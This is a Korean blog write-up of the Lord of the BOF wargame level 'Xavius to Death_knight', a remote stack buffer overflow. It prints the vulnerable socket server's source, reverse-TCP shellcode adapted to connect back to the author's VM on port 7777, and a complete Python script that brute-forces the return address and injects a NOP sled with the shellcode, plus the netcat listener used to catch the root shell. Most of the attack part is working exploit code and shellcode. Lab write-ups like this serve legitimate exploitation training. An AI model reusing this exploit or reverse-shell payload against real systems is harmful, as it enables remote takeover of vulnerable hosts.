LOB: Xavius→Death_knight

LOB 2018. 5. 17. 14:23

이번 코드는 길다..


/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h> 

#include <stdlib.h> 

#include <errno.h> 

#include <string.h> 

#include <sys/types.h> 

#include <netinet/in.h> 

#include <sys/socket.h> 

#include <sys/wait.h> 

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;  

struct sockaddr_in server_addr;   

struct sockaddr_in client_addr; 

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;        

server_addr.sin_port = htons(6666);   

server_addr.sin_addr.s_addr = INADDR_ANY; 

bzero(&(server_addr.sin_zero), 8);   


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

        

while(1) {  

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

            

if (!fork()){ 

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

            

close(client_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


이번에는 Remote BOF이다.


외부에서 연결을 해서 쉘코드를 실행시켜야 하니 GDB로 열어볼 수 가 없다.


따라서 우리가 사용할 기법은 브루트 포스 (brute force)이다.


우선 Buffer이 40바이트라는 것만 기억하고 넘어가자.


브루트 포스는 한국어로 무작위대입이라고도 할 수 있고, 계속 값을 바꿔가며 입력하는 것이다.


우선 쉘코드를 준비해야하는데 이번에 사용할 쉘코드는 살짝 다르다.


Reverse_tcp shellcode 라고 하는데


 A reverse shell doesn't wait for incoming connections but connects to a specified address and port itself. That is, the attacker waits for an incoming connection by the compromised server instead of initiating the connection themself.


한 포럼에서 설명을 발견했다.


reverse shell은 상대가 보내는 연결을 기다리지 않고, 명시된 주소와 포트로 알아서 연결한다. 그러므로 공격자는 공격당한 서버가 connection을 여는것을 기다리기만 하면된다.

간단히 해석하면 이 정도이다.


쉘코드는 http://shell-storm.org/shellcode/files/shellcode-833.php 해당 사이트에서 복사해 수정하였다.


unsigned char code[] = \

"\x68"
"\x7f\x01\x01\x01"  // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
"\xd9\x03"          // <- Port Number "55555"
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce";


이 코드에서 IP와 PORT를 바꾸면 된다.

IP는 공격자 PC 즉 내 경우에는 Ubuntu 16.04LTS VM의 IP이고 포트는 임의로 설정해 줘도 된다.


내 우분투의 IP는

보다시피 192.168.126.140이다. 


포트번호는 럭키넘버 7777로 하였다.

또, 나는 파이썬 코드를 사용할 것이기 때문에 문법도 약간 수정했다.

shellcode=\ "\x68"+\ "\xc0\xa8\x7e\x8c"+\ <-IP Number "192.168.126.140 "\x5e\x66\x68"+\ "\x1e\x61"+\           <- Port Number 7777 "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\ "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\ "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\ "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\ "\xeb\xce"


그리고 이제 brute force를 해야 한다.


payload 는 

A*44 <- 버퍼 40+ SFP4

RET주소 <- 브루트 포스 할 부분

NOP

shellcode

가 될 것이다.




HOST='192.168.126.130    //LOB VM의 IP주소이다

PORT=6666


for j in range(0xff, 0, -1):

for i in range(0, 0xff, 4):

payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (256-len(shellcode)-48)) + shellcode

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

print hex(j) + " " + hex(i)

print s.recv(1024)

s.send(payload)

s.close()


코드에 대해 설명을 하자면, 먼저 뒤에서 두번째 바이트 (예: 0xbfffaabb라면 aa부분)

을 1씩 줄여가며, 그 뒤 bb부분을 0부터 시작해서 ff까지 4씩 늘린다.

즉 RET은 

0xbfffff00

0xbfffff04

.....

이 될 것이다.


최종 코드는


#/usr/bin/env python


from socket import *

from struct import *


p = lambda x : pack("<L",x)


shellcode=\

"\x68"+\

"\xc0\xa8\x7e\x8c"+\

"\x5e\x66\x68"+\

"\x1e\x61"+\

"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\

"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\

"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\

"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\

"\xeb\xce"


HOST = '192.168.126.130'

PORT = 6666

limit = 255


for j in range(0xff, 0, -1):

for i in range(0, 0xff, 4):

payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (256-len(shellcode)-48)) + shellcode

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

print hex(j) + " " + hex(i)

print s.recv(1024)

#print s.recv(10)

s.send(payload)

s.close()


이 코드를 실행 해 두고,


nc -lvp 7777을 다른 터미널에 열어두면, 쉘코드가 제대로 들어갔을때 연결될 것이다.


nc의 -lvp 중 l은


Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.  

으로 상대가 연결을 먼저 만드는것을 기다리는 옵션이다. 

번외로 p는 포트를 지정이다.

v는 Have nc give more verbose output. 라고 하는데 잘은 모르겠다.


즉 이 -lvp 뒤에 포트를 지정해 주면 된다.




한번 실행해보자.



우선 nc로 7777포트를 listen해 두고




exploit.py를 실행시킨다



그리고 nc를 실행해둔 터미널을 실행해보면 연결이 되었고, root권한을 얻은 것을 볼 수 있다.



참고한 사이트

http://midascopp.tistory.com/43

https://security.stackexchange.com/questions/167579/what-is-the-difference-between-a-payload-and-shellcode



'LOB' 카테고리의 다른 글

LOB:Nightmare→Xavius  (0) 2018.05.14
LOB:Succubus→Nightmare  (0) 2018.05.14
LOB:Zombie_assassin→Succubus  (0) 2018.05.12
LOB:Assasin→Zombie-assassin  (0) 2018.05.03
LOB:Giant→Assasin  (0) 2018.05.01
블로그 이미지

천재보다는 범재

,